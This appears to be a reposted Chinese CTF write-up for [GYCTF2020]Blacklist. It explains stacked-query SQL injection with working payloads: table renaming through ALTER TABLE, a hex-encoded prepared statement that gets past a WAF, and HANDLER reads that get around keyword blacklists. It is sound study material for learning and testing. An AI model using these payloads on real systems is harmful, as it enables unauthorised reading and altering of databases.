[GYCTF2020]Blacklist


這題是用堆疊注入,同時也是借這題記錄一下CTF中堆疊注入的一些騷操作

以下部分內容轉載大佬的文章

show databases;   獲取數據庫名
show tables;  獲取表名
show columns from `table_name`; 獲取列名

 

繞過技巧

1、修改表名

用 “[強網杯 2019]隨便注” 為例, 這里有兩個表,一個是 ’ 1919810931114514 ‘ ,還有一個是’words‘ , words表中有id和data兩個字段,1919810931114514表中有flag的字段

因為可以看到回顯是兩個數據,猜測應該是words表

推測 內部語句應該是

select  id,data from words where id='$id'

那么騷操作開始了,有點像偷天換日的意思

1、將words表名替換成其他的

2、然后將 `1919810931114514` 這個表名稱替換成words

3、在把flag這個字段替換成data

4、最后再插入一個id字段

最終的查詢結果就可以輸出我們構造的新的words了

 payload 如下

1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);#

最后用  1' or 1=1#   把flag打印出來

 

2、預編譯

依舊是以“[強網杯 2019]隨便注”  為例,先構造一個sql語句,然后執行它,payload轉化成16進制繞過waf

1';
SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;
prepare execsql from @a;
execute execsql;#

 

3、HANDLER

以 ”[GYCTF2020]Blacklist“ 為例,因為前面關鍵字都被禁用了,所以前面的payload都無效了

但是這里還有一種新姿勢,參考官方文檔

HANDLER ... OPEN語句打開一個表,使其可以使用后續HANDLER ... READ語句訪問,該表對象未被其他會話共享,並且在會話調用HANDLER ... CLOSE或會話終止之前不會關閉

1';
HANDLER FlagHere OPEN;
HANDLER FlagHere READ FIRST;
HANDLER FlagHere CLOSE;#

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM